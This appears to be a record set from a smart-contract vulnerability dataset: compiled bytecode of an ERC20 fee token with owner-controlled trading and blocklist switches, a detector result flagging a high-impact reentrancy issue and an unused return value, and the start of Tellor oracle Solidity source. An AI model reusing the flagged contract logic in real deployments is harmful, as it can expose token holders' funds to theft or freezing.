65b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f2453544152000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f9f2430c1a349b8c3805ee614c6609869a68342754daa3c12e10991df45d43764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,892
0x83eB2094072f6eD9F57d3F19f54820ee0BaE6084
pragma solidity 0.8.3; /** @author Tellor Inc. @title ITellor @dev This contract holds the interface for all Tellor functions **/ interface ITellor { /*Events*/ event NewTellorAddress(address _newTellor); event NewDispute( uint256 indexed _disputeId, uint256 indexed _requestId, uint256 _timestamp, address _miner ); event Voted( uint256 indexed _disputeID, bool _position, address indexed _voter, uint256 indexed _voteWeight ); event DisputeVoteTallied( uint256 indexed _disputeID, int256 _result, address indexed _reportedMiner, address _reportingParty, bool _passed ); event TipAdded( address indexed _sender, uint256 indexed _requestId, uint256 _tip, uint256 _totalTips ); event NewChallenge( bytes32 indexed _currentChallenge, uint256[5] _currentRequestId, uint256 _difficulty, uint256 _totalTips ); event NewValue( uint256[5] _requestId, uint256 _time, uint256[5] _value, uint256 _totalTips, bytes32 indexed _currentChallenge ); event NonceSubmitted( address indexed _miner, string _nonce, uint256[5] _requestId, uint256[5] _value, bytes32 indexed _currentChallenge, uint256 _slot ); event NewStake(address indexed _sender); //Emits upon new staker event StakeWithdrawn(address indexed _sender); //Emits when a staker is now no longer staked event StakeWithdrawRequested(address indexed _sender); //Emits when a staker begins the 7 day withdraw period event Approval( address indexed _owner, address indexed _spender, uint256 _value ); event Transfer(address indexed _from, address indexed _to, uint256 _value); //ERC20 Transfer Event /*Functions -- master*/ function changeDeity(address _newDeity) external; function changeOwner(address _newOwner) external; function changeTellorContract(address _tellorContract) external; /*Functions -- Extension*/ function depositStake() external; function requestStakingWithdraw() external; function tallyVotes(uint256 _disputeId) external; function updateMinDisputeFee() external; function updateTellor(uint256 _disputeId) external; function withdrawStake() external; /*Functions -- Tellor*/ function addTip(uint256 _requestId, uint256 _tip) external; function changeExtension(address _extension) external; function changeMigrator(address _migrator) external; function migrate() external; function migrateFor( address _destination, uint256 _amount, bool _bypass ) external; function migrateForBatch( address[] calldata _destination, uint256[] calldata _amount ) external; function migrateFrom( address _origin, address _destination, uint256 _amount, bool _bypass ) external; function migrateFromBatch( address[] calldata _origin, address[] calldata _destination, uint256[] calldata _amount ) external; function submitMiningSolution( string calldata _nonce, uint256[5] calldata _requestIds, uint256[5] calldata _values ) external; /*Functions -- TellorGetters*/ function didMine(bytes32 _challenge, address _miner) external view returns (bool); function didVote(uint256 _disputeId, address _address) external view returns (bool); function getAddressVars(bytes32 _data) external view returns (address); function getAllDisputeVars(uint256 _disputeId) external view returns ( bytes32, bool, bool, bool, address, address, address, uint256[9] memory, int256 ); function getDisputeIdByDisputeHash(bytes32 _hash) external view returns (uint256); function getDisputeUintVars(uint256 _disputeId, bytes32 _data) external view returns (uint256); function getLastNewValue() external view returns (uint256, bool); function getLastNewValueById(uint256 _requestId) external view returns (uint256, bool); function getMinedBlockNum(uint256 _requestId, uint256 _timestamp) external view returns (uint256); function getMinersByRequestIdAndTimestamp( uint256 _requestId, uint256 _timestamp ) external view returns (address[5] memory); function getNewValueCountbyRequestId(uint256 _requestId) external view returns (uint256); function getRequestIdByRequestQIndex(uint256 _index) external view returns (uint256); function getRequestIdByTimestamp(uint256 _timestamp) external view returns (uint256); function getRequestQ() external view returns (uint256[51] memory); function getRequestUintVars(uint256 _requestId, bytes32 _data) external view returns (uint256); function getRequestVars(uint256 _requestId) external view returns (uint256, uint256); function getStakerInfo(address _staker) external view returns (uint256, uint256); function getSubmissionsByTimestamp(uint256 _requestId, uint256 _timestamp) external view returns (uint256[5] memory); function getTimestampbyRequestIDandIndex(uint256 _requestID, uint256 _index) external view returns (uint256); function getUintVar(bytes32 _data) external view returns (uint256); function isInDispute(uint256 _requestId, uint256 _timestamp) external view returns (bool); function retrieveData(uint256 _requestId, uint256 _timestamp) external view returns (uint256); function totalSupply() external view returns (uint256); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function getNewCurrentVariables() external view returns ( bytes32 _challenge, uint256[5] memory _requestIds, uint256 _difficulty, uint256 _tip ); function getNewVariablesOnDeck() external view returns (uint256[5] memory idsOnDeck, uint256[5] memory tipsOnDeck); function getTopRequestIDs() external view returns (uint256[5] memory _requestIds); /*Functions -- TellorStake*/ function beginDispute( uint256 _requestId, uint256 _timestamp, uint256 _minerIndex ) external; function proposeFork(address _propNewTellorAddress) external; function unlockDisputeFee(uint256 _disputeId) external; function verify() external returns (uint256); function vote(uint256 _disputeId, bool _supportsDispute) external; /*Functions -- TellorTransfer*/ function approve(address _spender, uint256 _amount) external returns (bool); function allowance(address _user, address _spender) external view returns (uint256); function allowedToTrade(address _user, uint256 _amount) external view returns (bool); function balanceOf(address _user) external view returns (uint256); function balanceOfAt(address _user, uint256 _blockNumber) external view returns (uint256); function transfer(address _to, uint256 _amount) external returns (bool); function transferFrom( address _from, address _to, uint256 _amount ) external returns (bool); //Test Functions function theLazyCoon(address _address, uint256 _amount) external; function testSubmitMiningSolution( string calldata _nonce, uint256[5] calldata _requestId, uint256[5] calldata _value ) external; function manuallySetDifficulty(uint256 _diff) external; function testgetMax5(uint256[51] memory requests) external view returns (uint256[5] memory _max, uint256[5] memory _index); } /** @author Tellor Inc. @title TellorStorage @dev Contains all the variables/structs used by Tellor */ contract TellorStorage { //Internal struct for use in proof-of-work submission struct Details { uint256 value; address miner; } struct Dispute { bytes32 hash; //unique hash of dispute: keccak256(_miner,_requestId,_timestamp) int256 tally; //current tally of votes for - against measure bool executed; //is the dispute settled bool disputeVotePassed; //did the vote pass? bool isPropFork; //true for fork proposal NEW address reportedMiner; //miner who submitted the 'bad value' will get disputeFee if dispute vote fails address reportingParty; //miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes address proposedForkAddress; //new fork address (if fork proposal) mapping(bytes32 => uint256) disputeUintVars; mapping(address => bool) voted; //mapping of address to whether or not they voted } struct StakeInfo { uint256 currentStatus; //0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute 4=ReadyForUnlocking 5=Unlocked uint256 startDate; //stake start date } //Internal struct to allow balances to be queried by blocknumber for voting purposes struct Checkpoint { uint128 fromBlock; // fromBlock is the block number that the value was generated from uint128 value; // value is the amount of tokens at a specific block number } struct Request { uint256[] requestTimestamps; //array of all newValueTimestamps requested mapping(bytes32 => uint256) apiUintVars; mapping(uint256 => uint256) minedBlockNum; //[apiId][minedTimestamp]=>block.number //This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value mapping(uint256 => uint256) finalValues; mapping(uint256 => bool) inDispute; //checks if API id is in dispute or finalized. mapping(uint256 => address[5]) minersByValue; mapping(uint256 => uint256[5]) valuesByTimestamp; } uint256[51] requestQ; //uint50 array of the top50 requests by payment amount uint256[] public newValueTimestamps; //array of all timestamps requested //This is a boolean that tells you if a given challenge has been completed by a given miner mapping(uint256 => uint256) requestIdByTimestamp; //minedTimestamp to apiId mapping(uint256 => uint256) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId mapping(uint256 => Dispute) public disputesById; //disputeId=> Dispute details mapping(bytes32 => uint256) public requestIdByQueryHash; // api bytes32 gets an id = to count of requests array mapping(bytes32 => uint256) public disputeIdByDisputeHash; //maps a hash to an ID for each dispute 